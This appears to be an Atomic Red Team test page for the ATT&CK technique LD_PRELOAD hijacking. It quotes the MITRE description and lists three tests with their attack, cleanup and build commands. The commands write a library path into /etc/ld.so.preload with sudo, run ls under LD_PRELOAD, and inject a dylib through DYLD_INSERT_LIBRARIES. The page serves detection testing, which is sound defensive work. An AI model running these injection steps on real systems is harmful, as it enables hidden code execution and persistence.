T1574.006 - Hijack Execution Flow: LD_PRELOAD

Description from ATT&CK (opens in a new tab)

Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)

Hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used LD_PRELOAD to inject a malicious library into every descendant process of the sshd daemon, resulting in execution under a legitimate process. When the executing sub-process calls the execve function, for example, the malicious library’s execve function is executed rather than the system function execve contained in the system library on disk. This allows adversaries to Hide Artifacts (opens in a new tab) from detection, as hooking system functions such as execve and readdir enables malware to scrub its own artifacts from the results of commands such as ls, ldd, iptables, and dmesg.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)

Hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.

Atomic Tests

• Atomic Test #1 - Shared Library Injection via /etc/ld.so.preload

• Atomic Test #2 - Shared Library Injection via LD_PRELOAD

• Atomic Test #3 - Dylib Injection via DYLD_INSERT_LIBRARIES

Atomic Test #1 - Shared Library Injection via /etc/ld.so.preload

This test adds a shared library to the ld.so.preload list to execute and intercept API calls. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the glibc package.

Upon successful execution, bash will echo ../bin/T1574.006.so to /etc/ld.so.preload.

Supported Platforms: Linux

auto_generated_guid: 39cb0e67-dd0d-4b74-a74b-c072db7ae991

Inputs:

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

sudo sh -c 'echo #{path_to_shared_library} > /etc/ld.so.preload'

Cleanup Commands:

sudo sed -i 's##{path_to_shared_library}##' /etc/ld.so.preload

Dependencies: Run with bash!

Description: The shared library must exist on disk at specified location (#{path_to_shared_library})

Check Prereq Commands:

if [ -f #{path_to_shared_library} ]; then exit 0; else exit 1; fi;

Get Prereq Commands:

gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

Atomic Test #2 - Shared Library Injection via LD_PRELOAD

This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the glibc package.

Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library /etc/ld.so.preload. Output will be via stdout.

Supported Platforms: Linux

auto_generated_guid: bc219ff7-789f-4d51-9142-ecae3397deae

Inputs:

Attack Commands: Run with bash!

LD_PRELOAD=#{path_to_shared_library} ls

Dependencies: Run with bash!

Description: The shared library must exist on disk at specified location (#{path_to_shared_library})

Check Prereq Commands:

if [ -f #{path_to_shared_library} ]; then exit 0; else exit 1; fi;

Get Prereq Commands:

gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

Atomic Test #3 - Dylib Injection via DYLD_INSERT_LIBRARIES

injects a dylib that opens calculator via env variable

Supported Platforms: macOS

auto_generated_guid: 4d66029d-7355-43fd-93a4-b63ba92ea1be

Inputs:

Attack Commands: Run with bash!

DYLD_INSERT_LIBRARIES=#{dylib_file} #{file_to_inject}

Cleanup Commands:

kill `pgrep Calculator`
kill `pgrep firefox`

Dependencies: Run with bash!

Description: Compile the dylib from (#{source_file}). Destination is #{dylib_file}

Check Prereq Commands:

gcc -dynamiclib #{source_file} -o #{dylib_file}

Get Prereq Commands:

gcc -dynamiclib #{source_file} -o #{dylib_file}